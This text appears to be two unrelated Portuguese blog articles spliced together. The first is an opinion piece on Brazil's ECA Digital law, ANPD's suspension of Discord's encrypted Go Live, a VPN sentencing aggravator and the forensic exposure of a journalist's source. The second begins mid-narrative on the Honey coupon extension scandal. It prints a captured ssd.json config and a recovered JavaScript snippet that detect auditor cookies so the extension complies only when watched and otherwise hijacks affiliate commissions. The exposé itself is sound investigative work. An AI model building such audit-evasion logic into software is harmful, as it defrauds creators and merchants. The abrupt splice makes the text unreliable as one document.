O Discord chamou a medida de “prematura”: recebeu o processo na sexta-feira, ainda estava dentro do prazo de resposta, e afirma que removeu o servidor privado onde o crime aconteceu. E soltou a frase mais interessante de toda a resposta: sua investigação interna encontrou evidências de que “a atividade criminosa foi coordenada em outras plataformas antes da criação do servidor no Discord e continuou nelas depois”.

Sobre isso, um esclarecimento necessário. Circulou a versão de que o caso teria se originado no Instagram. Fui checar e não encontrei nenhuma fonte que confirme: a plataforma citada pela polícia, além do Discord, é o Telegram. O Discord não nomeia as “outras plataformas”. O que importa continua de pé, só que com outro nome no lugar: o caso não era exclusivo do Discord, o Ministério da Justiça pediu investigação de duas plataformas, e só o Discord tomou a sanção. O Telegram, que sequer tem representação legal robusta no Brasil, segue intocado.

E aqui aparece a primeira pergunta incômoda: se o problema é sistêmico, por que a sanção é cirúrgica?

O que é a ECA Digital, a “Lei Felca”

A sanção só foi possível por causa de uma lei novinha em folha. Em agosto de 2025, o YouTuber Felca publicou o vídeo “Adultização”, expondo perfis que monetizavam conteúdo sexualizado com menores — o caso mais chocante sendo o do influenciador Hytalo Santos, preso naquele mês e condenado em fevereiro de 2026 a mais de 11 anos de prisão. O vídeo passou de 30 milhões de views, o Senado abriu uma CPI, e o Congresso correu pra aprovar em regime de urgência o PL 2628/2022, do senador Alessandro Vieira.

Resultado: a Lei 15.211, de 17 de setembro de 2025, o Estatuto Digital da Criança e do Adolescente, em vigor desde 17 de março de 2026. Os pontos que importam pra esta discussão:

• Dever de cuidado (art. 6º): plataformas devem tomar “medidas razoáveis desde a concepção” pra prevenir exposição de menores a exploração sexual, violência e indução a autolesão e suicídio.
• Verificação de idade (art. 9º, §1º): “mecanismos confiáveis de verificação de idade a cada acesso”, com uma frase de efeito devastador: “vedada a autodeclaração”.
• Notificação e remoção (art. 29): dever de retirar conteúdo que viole direitos de crianças assim que comunicados, independentemente de ordem judicial.
• Fiscalizador: a ANPD, que acumulou o cargo com a LGPD e, desde maio de 2026, com deveres do Marco Civil da Internet. Virou o regulador digital de fato do país.
• Multas de até 10% do faturamento no Brasil, limitadas a R$ 50 milhões por infração. Suspensão de atividades, no papel, só pelo Judiciário (art. 35, §5º).

Esse último ponto já está em disputa: especialistas ouvidos pela Folha apontam que a “medida preventiva” da ANPD pode ser, na prática, uma suspensão temporária de atividades — sanção que a lei reserva ao Judiciário. Mal nasceu, a regulação já flerta com a própria ilegalidade.

Vale lembrar o contexto maior: em junho de 2025 o STF derrubou parcialmente o art. 19 do Marco Civil, acabando com a exigência de ordem judicial específica pra responsabilizar plataformas. Em junho de 2026 o mesmo tribunal consolidou um “dever de cuidado” com categorias de remoção imediata, incluindo indução a suicídio e crimes graves contra crianças. A ECA Digital legisla nessa direção. Em um ano, a responsabilidade das plataformas no Brasil deixou de ser reativa e virou proativa.

O oximoro: “pode criptografar, desde que a gente possa ler”

Agora o miolo, que é o que me motivou a escrever. A justificativa oficial da ANPD pra suspender o Go Live merece ser lida com atenção: a arquitetura do Discord usa criptografia de ponta a ponta, a plataforma não tem acesso ao conteúdo das transmissões ao vivo, e portanto a moderação em tempo real é impossível. Na avaliação da ANPD, se a moderação depende de sistemas automatizados falhos e da denúncia de quem está na sala onde o crime acontece, o recurso é incompatível com a lei.

Leia de novo, devagar. A ANPD não proibiu criptografia — uma proibição direta seria indefensável em público. Ela disse outra coisa, muito mais engenhosa: você pode ter criptografia de ponta a ponta, desde que consiga monitorar o conteúdo pra cumprir os deveres legais.

Só que isso é um oximoro. O propósito inteiro da criptografia de ponta a ponta é que o servidor transporta texto cifrado e não tem como ler. Pra “monitorar o conteúdo”, esse conteúdo precisa chegar aberto aos servidores — e aí não é mais ponta a ponta. Não existe terceira opção: ou é ilegível pra plataforma, ou é legível. A ANPD não criminalizou a criptografia; ela apenas tornou impossível oferecer criptografia de verdade e operar no Brasil ao mesmo tempo. Tecnicamente errado dizer que “proibiram criptografia”. Funcionalmente, é exatamente o que aconteceu.

E não sou eu quem está dizendo. O Carlos Affonso Souza, diretor do ITS Rio, disse à CNN Brasil que é a primeira vez que a ANPD trata criptografia de ponta a ponta como obstáculo regulatório, um precedente perigoso comparável aos bloqueios do WhatsApp — e que os criminosos simplesmente migram pra plataformas menos cooperativas e sem representação no país (alguém disse Telegram?).

Pra ser justo com o debate: o texto da lei não menciona criptografia uma única vez, e o art. 34, §1º proíbe expressamente “mecanismos de vigilância massiva, genérica ou indiscriminada”. Os checadores derrubaram os boatos de que a ECA Digital leria seu WhatsApp. Tudo isso é verdade — e tudo isso é sobre o papel. Na prática, a primeira fiscalização grande da história da lei tratou a impossibilidade técnica de vigiar como fundamento pra derrubar um recurso. O papel aceita tudo; a caneta da fiscalização é que escreve o direito real.

E tem ganchos na letra da lei esperando pra serem usados: o art. 18, III exige que ferramentas de controle parental permitam “identificar os perfis de adultos com os quais a criança ou o adolescente se comunica” — me explica como um mensageiro criptografado de ponta a ponta cumpre isso. O art. 27 manda “remover e comunicar” conteúdo de abuso “detectado” direta ou indiretamente — e detectar pressupõe ver. Nenhum dos dois foi usado ainda. O precedente do Go Live mostra como serão lidos quando forem.

Pra guardar: a ANPD não proibiu criptografia. Proibiu um recurso cuja criptografia impede a vigilância do conteúdo. O efeito prático é idêntico: no Brasil, criptografia de ponta a ponta agora é um risco regulatório.

ECA Digital contra LGPD

A ironia maior é institucional. Em 2018 aprovamos a LGPD pra proteger os dados pessoais do brasileiro, construída sobre princípios como minimização (colete só o necessário) e finalidade (use só pro que foi coletado). A ECA Digital, aplicada pela mesma agência, empurra na direção oposta.

A verificação de idade é o exemplo cristalino. “Vedada a autodeclaração” significa que todo usuário — adulto inclusive — vai precisar provar a idade pra acessar serviços comuns. Provar como? Documento, biometria facial, credencial verificável. A Gazeta do Povo ouviu especialistas que alertam pro óbvio: estamos construindo uma infraestrutura permanente de identificação de toda a população na internet, com dados biométricos que, uma vez vazados, não têm como trocar — você troca de senha, não troca de cara.

E não é teoria. Uma carta aberta assinada por 438 cientistas de 32 países chama esses sistemas de “inúteis e perigosos”: fáceis de burlar com VPN e deepfake, enviesados contra minorias. E cita o exemplo perfeito — o próprio Discord, que vazou fotos de documentos de ~70 mil usuários justamente por causa de verificação de idade terceirizada. A plataforma que a ANPD pune por não vigiar é a mesma que provou, na prática, o custo de coletar.

A lei tem salvaguardas no papel — o art. 13 limita o uso dos dados de verificação “unicamente para essa finalidade”, o art. 12 fala em minimização. Mas note o conflito de interesses estrutural: a ANPD acumula três mandatos — LGPD, ECA Digital e Marco Civil. A agência que deveria defender a minimização dos seus dados é a mesma que agora exige que você os entregue. Quando os dois papéis colidirem dentro do mesmo órgão, qual deles você acha que vence?

A outra lei do dia 6: usar VPN agora pesa na pena

Lembra que a cerimônia em que a primeira-dama pediu o bloqueio era a sanção de outra lei? Vale olhar o que mais foi sancionado naquele dia, porque tem um artigo do PL 3066/2025 que passou quase despercebido fora da bolha técnica: o art. 226-A, que aumenta a pena de um terço a dois terços pra crimes do ECA cometidos com uso de proxy, VPN ou qualquer técnica de mascaramento ou anonimização de IP.

O Ayub, que acompanha legislação digital há anos, soou o alarme ainda em maio, quando a Câmara aprovou o texto: “prevê prisão para quem desenvolver ou fornecer serviço de VPN. Não foi falta de aviso meu.”

Aqui vai uma precisão que importa, porque checar fonte é o que separa análise de pânico. A redação original do deputado Osmar Terra criminalizava mesmo quem desenvolve, distribui ou comercializa programa de mascaramento de IP — na prática, tornava crime a profissão de desenvolvedor de VPN. Mas o projeto passou por um grupo de trabalho técnico que ouviu Polícia Federal, Ministério Público, Safernet e as próprias plataformas, e a relatora final, deputada Rogéria Santos, retirou a criminalização do desenvolvimento e manteve só a majorante, com salvaguarda expressa pro uso lícito. O tweet do Ayub descreve o projeto que entrou na Câmara, não a lei que saiu. O aviso dele, porém, capturou o rumo — e o rumo se cumpriu.

Porque o que sobrou já é bastante coisa. A ISOC Brasil apontou que a majorante coloca o uso de VPN no mesmo patamar penal da majoração de roubo com arma de fogo. E uma carta aberta ao Senado, assinada por EFF, Projeto Tor, Artigo 19, Data Privacy Brasil e mais meia dúzia de entidades, explicou o óbvio pra quem é da área: proxy e VPN são infraestrutura padrão de segurança corporativa, recomendados por normas internacionais como a ISO/IEC 27001; anonimização de identificadores é função nativa de navegadores como Firefox e Brave; e sua empresa provavelmente te obriga a usar VPN pra trabalhar de casa. O Senado não acolheu. No dia 6 de agosto, o artigo virou lei — na tal cerimônia.

A frase da carta que deveria assombrar qualquer legislador: “precedentes jurídicos raramente permanecem restritos à hipótese que justificou sua criação”. Na formulação da carta, é a primeira vez que o direito penal brasileiro trata uma tecnologia neutra de segurança como, por si só, motivo de pena mais grave. Hoje a hipótese é crime contra criança — aquela que ninguém ousa questionar em público, e os autores do projeto sabiam disso. Amanhã é qualquer crime. O próximo deputado que quiser agravar furto “mediante uso de VPN” já tem o precedente pronto, votado e sancionado.

E repare na engenhosidade, igualzinha à da criptografia: ninguém proibiu VPN — uma proibição direta seria indefensável. Apenas se criou o mecanismo pra tratar usuário de VPN como suspeito qualificado. Pensa na execução: pra aplicar a salvaguarda do “uso lícito”, o Estado precisa primeiro saber que você usa VPN e depois determinar se o seu uso era lícito. Ou seja, todo usuário de ferramenta de privacidade vira, por padrão, objeto potencial de verificação. A salvaguarda não protege o usuário — autoriza a fiscalização dele.

E tem a ironia fina pra fechar: a carta dos 438 cientistas que mencionei na seção anterior alerta que verificação de idade se burla com VPN. A resposta do legislador brasileiro não foi repensar a verificação de idade. Foi deixar a VPN meio criminalizada. O cerco se fecha pelos dois lados, sempre com a mesma plaquinha de boa intenção pregada em cima.

Pra guardar: ninguém proibiu VPN no Brasil. Criou-se algo mais sutil: o primeiro precedente penal em que usar uma ferramenta neutra de privacidade pesa contra você. Hoje agrava crime contra criança. O precedente, esse, não tem dono.

E os criminosos de verdade?

Tem um contrassenso nessa história que quase ninguém comentou. A sanção contra o Discord caiu em seis dias, com potencial de R$ 50 milhões de multa por infração. E o que acontece com os autores do crime que motivou tudo isso?

O grupo de Naviraí era composto por cinco adolescentes de 13 a 17 anos e um jovem de 18. O líder investigado tem 14. Pela lei brasileira, só o de 18 responde como adulto, por homicídio qualificado. Os outros cinco entram no regime do ECA — o clássico, não o digital: medida socioeducativa de internação, com teto de três anos e soltura compulsória aos 21. O caso corre em sigilo e não sabemos as medidas aplicadas, mas o teto é esse, não importa a crueldade. O mentor intelectual do massacre de Suzano, com 10 mortos, tinha 17 anos e ficou internado — três anos, independentemente da contagem de corpos.

E tem uma ironia de calendário: em fevereiro de 2026 o Brasil sancionou a lei que tornou hedionda a indução online a suicídio e autolesão, com pena dobrada pra líderes de grupo. Pra adultos. Pros cinco adolescentes de Naviraí, investigados exatamente por isso, não muda nada: o teto continua sendo os três anos do ECA.

E segue assim por escolha, porque tentativa não faltou. Em março de 2026, o relator da PEC da Segurança Pública incluiu um referendo sobre a redução da maioridade penal pra 16 anos; o governo chamou a redução de “ineficaz e inconstitucional” e o trecho foi arrancado pra PEC passar — aprovada por 487 a 15 sem uma linha sobre o assunto. Em junho, a CCJ da Câmara aprovou a admissibilidade de outra PEC da redução, por 44 a 18, mas ela ainda precisa de 308 votos em dois turnos de plenário — exatamente o muro onde a versão de 2015 morreu. Até a saída intermediária empaca: o PL 1.473/2025, que subiria a internação máxima de 3 pra 5 anos (10 pra crimes violentos), passou no Senado em outubro de 2025 e dorme na Câmara até hoje.

Enquanto isso, o crime organizado faz aritmética. Facções recrutam adolescentes de propósito, porque sabem que o ECA protege o executor: nos ataques de facções no Ceará, adultos pagavam de R$ 1.000 a R$ 5.000 por atentado pra adolescentes tocarem fogo em veículos — o mandante não se expõe, o executor não vai pra prisão. O grupo de Naviraí é a versão digital da mesma lógica: um líder de 14 anos coordenando crimes que, se cometidos por um adulto, dariam décadas de cadeia.

E o Brasil virou exceção até na vizinhança. A Argentina aprovou em fevereiro a redução de 16 pra 14 anos. A Suécia, de todos os países, baixou pra 13 anos em crimes graves a partir de julho — depois que gangues passaram a recrutar crianças pelo Snapchat pra atentados justamente porque elas não podiam ser processadas. Inglaterra pune a partir dos 10 (embora a própria Ordem dos Advogados de lá queira subir pra 14), a maioria dos estados americanos transfere adolescentes de 14 pra vara criminal em homicídio, Portugal pune aos 16.

Pra constar, o outro lado existe: a UNICEF se posicionou contra a redução, e os dados de reincidência são desconfortáveis pros dois lados — ~43% depois da internação, ~70% depois da prisão comum. Se é pra debater o modelo, debata. O que não dá é o resultado atual: uma lei nova conseguiu em seis dias tirar do ar um recurso usado por milhões de pessoas inocentes, enquanto o sistema que pune os autores do crime não sai do lugar há trinta. A gente pune o cano porque o cano é quem está ao alcance.

Pra guardar: seis dias pra sancionar a plataforma que milhões de inocentes usam; trinta anos sem mexer no teto de quem cometeu o crime.

Enquanto isso, no STF: o sigilo da fonte furado

Se fosse só o Discord, dava pra chamar de acidente regulatório. Mas na mesma semana, outro pilar caiu.

Desde novembro de 2025, o jornalista Luís Pablo, do Maranhão, publicava reportagens sobre o uso de um carro oficial do TJ-MA pelo ministro Flávio Dino e familiares. Em março, Alexandre de Moraes autorizou busca e apreensão contra o jornalista — numa decisão que citava o inquérito das fake news, o que a assessoria do STF depois negou. Celulares, notebook e pen drive apreendidos. Em abril, o equipamento foi devolvido, mas a análise forense continuou.

No dia 11 de agosto, a PF cumpriu mandados contra Raimundo Cutrim, ex-secretário de Segurança do Maranhão — identificado como a fonte do jornalista. Como chegaram nele? Pela análise dos dispositivos apreendidos do jornalista.

Entendeu o mecanismo? O art. 5º, XIV da Constituição protege o sigilo da fonte, e o jornalista pode se recusar a revelar — como ele fez, ficando em silêncio no depoimento. Então não perguntaram. Apreenderam o material de trabalho, leram tudo, e identificaram a fonte pelas costas. A constitucionalista Vera Chemin resumiu na CNN: “não se pode violar o sigilo para depois verificar se houve um crime ou não”.

O próprio STF já decidiu isso, e mais de uma vez. Na ADPF 601, em 2019, Gilmar Mendes protegeu o Glenn Greenwald na Vaza Jato com uma frase que deveria estar emoldurada: o sigilo da fonte “impossibilita que o Estado utilize medidas coercivas para constranger a atuação profissional e devassar a forma de recepção e transmissão daquilo que é trazido a conhecimento público”. “Devassar a forma de recepção” é literalmente o que a análise forense dos dispositivos fez.

Pra constar, a defesa do STF existe e merece ser apresentada: a investigação apura monitoramento ilegal de um ministro e da família dele, com placas, nomes de seguranças e imagens clandestinas de crianças publicados; a PF aponta que Cutrim usou cargo público pra acessar sistemas restritos; e há uma transferência de R$ 100 mil de um segundo investigado pro jornalista, cuja natureza ninguém provou ainda. Os autos correm em sigilo, então nenhuma das versões é verificável de fora. É possível que haja crime ali. Mas é exatamente por isso que a ordem importa: primeiro se investiga com meios lícitos, depois — talvez, em casos excepcionalíssimos — se discute exceção. Inverter essa ordem transforma a exceção em método.

A reação foi a de sempre, só que mais alta: Abraji, ANJ, ABERT, SIP internacional, e editoriais dos três maiores jornais do país no mesmo dia. O Estadão escreveu que o inquérito das fake news “foi convertido em instrumento de intimidação”. Miro Teixeira, o advogado que derrubou a Lei de Imprensa da ditadura em 2009, disse que o STF atua “momentaneamente como tribunal de exceção”.

Pra guardar: o sigilo da fonte não foi revogado — foi contornado. Ninguém coagiu o jornalista; apreenderam os dispositivos dele e a fonte apareceu na perícia. A garantia segue existindo, mas só no papel.

Conclusão: estamos virando um país censurado?

O padrão é o que me preocupa, não os episódios isolados. Em 2024, o X ficou um mês fora do ar no Brasil por ordem monocrática. Em 2025, caiu o art. 19 do Marco Civil e a responsabilidade das plataformas virou proativa. Em 2026, a ECA Digital entregou ao Executivo um pacote de obrigações tão intrusivo que, na primeira vez usado, derrubou um recurso criptografado no país inteiro — enquanto o líder de 14 anos do grupo que motivou a sanção enfrenta, no máximo, três anos de internação. E o sigilo da fonte jornalística foi furado por via forense, com aval do mesmo tribunal que o consagrou.

Cada degrau dessa escada tem uma justificativa simpática, e é exatamente por isso que a escada é perigosa. Ninguém constrói infraestrutura de censura dizendo que é pra censura. Constrói-se pra proteger crianças, pra proteger ministros, pra proteger a democracia.

O problema é que infraestrutura não tem dono moral. A régua que hoje mede o Discord mede qualquer aplicativo amanhã. A fiscalização que hoje exige transmissão aberta pra proteger a Lívia vai exigir transmissão aberta pra qualquer coisa que o governo de plantão queira ver. A quebra de sigilo que hoje pega a fonte do caso Dino pega qualquer fonte, de qualquer caso, contra qualquer um.

E o detalhe mais revelador da semana: das duas plataformas que o Ministério da Justiça pediu pra investigar, a sancionada foi a que tem escritório, CNPJ e advogados no Brasil — a que coopera. A mensagem que o regulador mandou pro mercado foi invertida: cooperar te expõe; ser opaco te protege. Os adolescentes do grupo neonazista de Naviraí não vão pra lugar nenhum — vão pro Telegram, que ninguém tocou.

E tem o traço mais brasileiro de todos nesse arranjo: ficou impossível estar em dia com a lei. Se você protege seus usuários de verdade, com criptografia de ponta a ponta, descumpre a ECA Digital. Se cumpre a ECA Digital, abre os dados dos seus usuários e descumpre a LGPD. Se coleta documento pra verificar idade, vira alvo de vazamento e de sanção; se não coleta, vira alvo de fiscalização. Não existe configuração segura.

E isso é tradição nossa: leis tão amplas, com tantas exceções empilhadas, que qualquer um vira infrator por acidente em qualquer esquina. Quando todo mundo está sempre devendo, a lei deixa de ser regra e vira opção — o poder real migra pra quem escolhe contra quem aplicar. Foi o que aconteceu essa semana: duas plataformas investigadas, uma punida. A que tinha endereço aqui.

Proteger crianças é dever civilizatório inegociável. Investigar crime contra ministro é obrigação do Estado. A pergunta que fica não é se essas causas são legítimas — são. É se o Brasil ainda consegue perseguir causas legítimas sem demoliar as garantias que tornam o país uma democracia liberal: privacidade real, criptografia funcional, imprensa com fonte protegida. Essa semana, a resposta foi não três vezes seguidas.

Não é censura de regime. É pior, de certa forma: é censura por acumulado, votada, sancionada e aplaudida, cada tijolo com uma plaquinha de boa intenção. E a gente só percebe o muro quando ele já está em volta.

Agora imagina descobrir que um dos seus patrocinadores estava plantado no checkout dos seus espectadores, trocando a sua etiqueta pela dele e embolsando essas comissões. Milhões de vezes. Por anos.

Foi isso que o MegaLag mostrou em dezembro de 2024, expondo as práticas do Honey, aquela extensão de cupons que o PayPal comprou por 4 bilhões de dólares e que prometia “achar todos os cupons de desconto da internet” pra você. Eu acompanho o canal dele desde esse vídeo e virei fã na hora: é jornalismo técnico com demonstração ao vivo, código e packet capture, não só denúncia no grito.

Um ano e meio depois, a história só engrossou: o PayPal tentou descartar tudo como fake news, o MegaLag voltou com evidência técnica irrefutável, a Rakuten e outras redes de afiliados cortaram o Honey publicamente, e o caso virou uma ação coletiva que acabou de sobreviver ao pedido de extinção (o motion to dismiss americano).

A linha do tempo dos vídeos, que são as fontes primárias deste artigo:

1. Exposing the Honey Influencer Scam, 21 de dezembro de 2024
2. Exposing Honey’s Evil Business Model (PART 2), 22 de dezembro de 2025
3. The Honey Scam is Worse Than I Thought, 30 de dezembro de 2025
4. Honey Gets Terminated as Lawsuits Proceed, 11 de agosto de 2026 (ontem)

Vou contar a história em três atos: o truque do último clique contra os criadores, o modelo de extorsão contra as lojas, e o dispositivo de fraude que enganava os auditores das redes. O miolo técnico, o que interessa pra nós desenvolvedores, está no terceiro ato. Mas sem os dois primeiros ele não faz sentido.

O que o Honey deveria ser

O pitch pro consumidor era irresistível: uma extensão gratuita que, na hora do checkout, testa todos os cupons de desconto conhecidos e aplica o melhor no seu carrinho. “É literalmente dinheiro de graça.” E não, eles juravam, não vendiam seus dados.

Pra criadores de conteúdo, o Honey era um patrocinador generoso. O MegaLag mapeou cerca de 5.000 vídeos patrocinados em mais de 1.000 canais, somando quase 8 bilhões de views. O MrBeast foi o primeiro grande nome, e a ex-presidente do Honey, Joanne Bradford, se gabava: “todo garoto nos EUA conhece o Honey”.

Criador ganhava dinheiro fácil recomendando uma ferramenta que parecia útil. A ironia, que o primeiro vídeo expõe com requinte: esses mesmos criadores estavam instalando no público deles, o público que mais clicava nos links de afiliado deles, a ferramenta que roubava essas mesmas comissões.

Pra lojas e marketplaces, o Honey se vendia como ferramenta de conversão: menos carrinho abandonado, ticket médio maior. E tinha um pitch extra, mais escuso, que aparece no FAQ de parceiros e num podcast do próprio Honey: a loja controlava quais cupons ficavam visíveis. Ou seja, pro consumidor o discurso era “achamos todos os cupons”, e pra loja era “você impede o consumidor de achar os cupons bons”. Os dois discursos eram oficiais.

Afiliados em 30 segundos

Pra entender o crime, precisa entender a vítima. Marketing de afiliados funciona assim: um criador coloca um link com uma tag de rastreamento (tipo ?tag=shortcircuit num link da Newegg). Você clica, a loja grava um cookie com validade de uns 30 dias, e se você comprar qualquer coisa nesse período, a comissão vai pra quem gerou aquele clique.

O MegaLag tem uma analogia boa pra isso: é como o vendedor de uma loja de departamentos que te atende, te dá um cartão de indicação com o nome dele, e o caixa sabe de quem foi a venda. O cookie de afiliado é a versão digital desse cartão.

O padrão da indústria é o last-click attribution: o último clique leva tudo. Não é o sistema mais justo do mundo, mas é o mais simples de implementar. E é aqui que mora o problema: quem aparece no último segundo antes do pagamento sempre vence. E quem aparece no último segundo? Uma extensão instalada no seu navegador, que acorda exatamente na tela de checkout. É como se um segundo vendedor, que não te atendeu em momento nenhum, arrancasse o cartão da sua mão na fila do caixa e entregasse o dele no lugar.

O que o Honey realmente fazia

O primeiro vídeo documenta os cenários, todos variações do mesmo truque:

• O popup de cupom: você clica em “aplicar descontos”, o Honey abre uma aba minúscula e escondida que simula um clique de afiliado com a tag do PayPal, e fecha sozinha. Seu cookie do criador é substituído. Comissão roubada, mesmo quando o Honey não acha cupom nenhum.
• O Honey Gold: quando não existe cupom, aparece um popup oferecendo pontos de cashback. Clicou, mesma coisa: último clique, comissão do PayPal.
• O popup vazio: sem cupom, sem cashback, o Honey ainda abre um popup pra você clicar em “got it”. Clicou pra dispensar? Já era, o clique valeu.
• O botão PayPal: num checkout que já tem opção de pagar com PayPal, o Honey oferece um botão “check out with PayPal”. Qualquer desculpa vale pra conseguir o último clique.

O experimento que o MegaLag fez com a NordVPN deixa tudo concreto: comissão de 40% por venda. Duas compras feitas pelo próprio link de afiliado dele. Sem o Honey: $35 de comissão. Com o Honey Gold ativado: $0. A parte dele, como “consumidor”, do roubo da própria comissão? 89 pontos, ou seja, 89 centavos de dólar. O Honey ficou com 97,5% do valor que era dele por direito.

Pra guardar: mesmo quando você clica no link de afiliado do criador, a comissão vai pro PayPal se o Honey aparecer no checkout. No teste da NordVPN, dos $35 de comissão, o “benefício” que sobrou pro usuário foi 89 centavos.

E isso não era hipótese, acontecia em escala industrial. O exemplo central do primeiro vídeo usa a tag de afiliado do Linus Tech Tips na Newegg: o Linus Media Group promoveu o Honey por anos, em algo como 160 segmentos patrocinados, e encerrou a parceria em 2022 ao perceber que o Honey sobrescrevia o link de afiliado deles mesmo quando não encontrava desconto nenhum. Repare na armadilha demográfica: quem instala extensão de cupom é exatamente o espectador que caça preço e clica em link de afiliado. O Honey pagava o patrocínio uma vez e passava a taxar as comissões futuras do criador pra sempre.

Até aqui, a vítima era o criador. O segundo vídeo mostra o outro lado do balcão: as lojas.

O modelo de negócio contra as lojas

O arquivo supported domains da extensão listava mais de 180.000 lojas, contra “30.000 participantes” no marketing. A análise da planilha (um desenvolvedor rastreou tudo e publicou) mostrava 146.000 lojas sem nenhum vínculo, incluídas presumivelmente sem consentimento.

Tem mais: cupom digitado manualmente no checkout era enviado pros servidores do Honey antes de pedir consentimento. E códigos privados vazavam pra base pública: desconto militar, cupom de funcionário, um código de $75 sem valor mínimo que dava mercadoria de graça ilimitada.

O estrago era mensurável. Um lojista relatou prejuízo de $100 mil depois que o código exclusivo do podcast que ele patrocinava vazou pra base do Honey, e ele só percebeu meses depois, quando a comissão de afiliado do podcast já tinha ido embora faz tempo. O Chip, CEO da Made In Cookware, resumiu o efeito: “se o Honey vai ficar com 10% da sua receita o tempo todo, no fim das contas você é obrigado a subir os preços.”

E quando um lojista pedia pra sair, a resposta oficial era “não removemos códigos sem um relacionamento comercial”, o que o MegaLag chama, com precisão, de extorsão econômica: as lojas não pagam pra entrar, pagam pra sair.

Stand down: a regra que o Honey fingia cumprir

Contra tudo isso, a defesa do PayPal sempre foi a mesma: “o Honey segue as regras e práticas da indústria, incluindo o last-click”. Era uma saída retórica esperta, porque dá pra discutir se o last-click é justo. O que vem a seguir é diferente em natureza: prova de que o Honey sabia que estava errando e construiu um sistema pra não ser pego.

Pra entender, um pouco de contexto. As redes de afiliados (Rakuten Advertising, CJ, Impact, Awin) sabem desde 2002 que extensões de navegador são parasitas naturais desse ecossistema. Então criaram uma regra contratual chamada stand down: se o usuário já chegou à loja pelo link de outro afiliado, a extensão deve se desativar e não interferir. Ponto. Está escrito nos contratos. A política da Rakuten, por exemplo, diz que o publisher deve “se retirar e não exibir nenhuma forma de slider ou popup” quando outro afiliado já referenciou o usuário, e “não pode forçar cliques nem fazer cookie stuffing”.

E o Honey cumpria. Tecnicamente. Quando testado.

Aqui chegamos no coração do terceiro vídeo, o que o MegaLag chama de Cookie Gate, e a analogia que ele usa é precisa: o Dieselgate da Volkswagen. A VW programava os carros pra reduzir emissões só durante os testes de laboratório. O Honey programava a extensão pra respeitar o stand down só quando detectava que o usuário provavelmente era um auditor.

Pra guardar: stand down é obrigação contratual desde 2002, não cortesia. Se o usuário chegou à loja pelo link de outro afiliado, a extensão tem que se retirar. O Honey se retirava só quando o usuário cheirava a auditor.

A evidência: ssd.json, linha por linha

Depois que o PayPal comprou o Honey, a extensão foi reescrita e as regras passaram a vir em texto claro de um servidor. Isso permitiu ao MegaLag, e ao Ben Edelman, pesquisador de segurança que trabalhou no caso de fraude de afiliados do eBay nos anos 2000 e verificou tudo independentemente (análise completa dele aqui), expor o mecanismo inteiro.

Primeiro ponto arquitetural: as regras de stand down moram na nuvem, não na extensão. A extensão busca dois arquivos JSON dos servidores do Honey e verifica atualizações a cada hora: standdown-rules.json (as regras normais) e ssd.json (as regras de selective stand down). Ou seja: o PayPal podia mudar o comportamento de ~14 milhões de usuários em uma hora, sem atualização de extensão, sem revisão da Chrome Web Store, sem ninguém ver.

Segundo: as regras normais já eram uma piada. O temporizador de stand down, o tempo em que o Honey respeita o cookie do afiliado original, era de 3.600 segundos. Uma hora. Clicou no link do seu YouTuber favorito de manhã, comprou à tarde, o Honey já podia agir de novo. E um arquivamento de 2023 da Wayback Machine mostra que já foi de 360 segundos. Seis minutos. Como o MegaLag diz, ele leva mais de seis minutos só pra digitar o cartão de crédito. Nenhuma rede de afiliados define prazo de expiração. O Honey inventou um.

Terceiro, o prato principal. Este é o ssd.json capturado em 22 de outubro de 2025 (comentários meus):

{"ssd": {
  "base": {
    "gca": 1,      // checar cookie de console de afiliados
    "bl": 1,       // checar blacklist no servidor
    "uP": 65000,   // mínimo de pontos pra IGNORAR o stand down
    "adb": 26298469858850
  },
  // domínios onde procurar cookies de "insider da indústria":
  "affiliates": ["https://www.cj.com", "https://www.linkshare",
                 "https://www.rakuten.com", "https://ui.awin.com",
                 "https://www.swagbucks.com"],
  "LS": { "uP": 5001 },  // exceção pra Rakuten (antiga LinkShare)
  "PAYPAL": { "uL": 1, "uP": 5000001, "adb": 26298469858850 }
  },
  "ex": {  // exceções por loja (IDs internos do Honey)
    "7555272277853494990": { "uP": 5001 },                         // TJ Maxx
    "7394089402903213168": { "uL": 1, "adb": 120000, "uP": 1001 }, // Booking.com
    "243862338372998182": { "uL": 0, "uP": 100000 },               // Kayo Sports
    // cookies procurados, na MESMA ORDEM dos domínios acima:
    "GA": ["CONTID", "s_vi", "_ga", "networkGroup", "_gid"]
  }
}

Vamos decodificar. Quando a extensão detecta que você clicou num link de afiliado, ela consulta essas regras antes de decidir se obedece o stand down:

• uL (user logged in): você precisa estar logado numa conta Honey.
• uA (user account age): sua conta precisa ter uma idade mínima, 30 dias, em milissegundos, “por algum motivo”, como nota o MegaLag. Conta nova é o padrão de quem testa extensão pra auditoria.
• uP (user points): você precisa ter acumulado um mínimo de pontos de cashback. Na configuração atual: 65.000 pontos. Como 1.000 pontos valem $10 em vale-compras, isso exige $650 de ganho acumulado, praticamente nenhum usuário real, e com certeza nenhum auditor com conta de teste.
• bl (blacklist): o servidor pode marcar seu ID, cookie ou IP (quem já reclamou do Honey, por exemplo) e te tratar como “alto risco”.
• gca: a mais incriminadora de todas, e merece parágrafo próprio.

Se você passa em todos os filtros, o sistema te classifica como consumidor legítimo e o Honey ignora o stand down, rouba a comissão. Se falha em qualquer um, te classifica como possível auditor e o Honey se comporta direitinho. O Edelman resume: “o Honey respeita o stand down, mas só às vezes. E esse ‘às vezes’ é previsível.” Determinístico, na verdade: mesmas condições, mesmo resultado, reproduzível.

O gca: procurando cookie de auditor

O gca é o equivalente a revistar seu bolso procurando crachá de fiscal. As listas affiliates e GA são pareadas posicionalmente: no domínio cj.com, procure o cookie CONTID; no linkshare, o s_vi; no ui.awin.com, o networkGroup. O código, recuperado via sourceMappingURL do app iOS que vazou praticamente sem ofuscação:

m = p.ex && p.ex.GA || []
g = i().map(p.ssd && p.ssd.affiliates, (function(e) {
    return f += 1, u.A.get({
        name: m[f], // nome do cookie vindo do array GA
        url: e      // domínio a ser verificado
    }).then((function(e) {
        e && (o.gca = 0) // achou o cookie: gca = 0, entra em modo compliance
    }))

Se você tem cookie de login do painel de afiliados da CJ, da Rakuten ou da Awin, ou seja, se você trabalha na indústria, o Honey respeita o stand down em tudo, sempre, não importa o link. O MegaLag descobriu isso por acidente, testando a própria extensão que ele construiu (a Cookie Guard): logou na conta de afiliado dele da CJ numa aba, e de repente o Honey virou um anjo.

E tem um detalhe cínico no design: domínios e nomes de cookie ficam em duas listas separadas em vez de pares nome-valor. Como nota o Edelman, o efeito é dificultar que alguém olhando o arquivo perceba a relação entre eles.

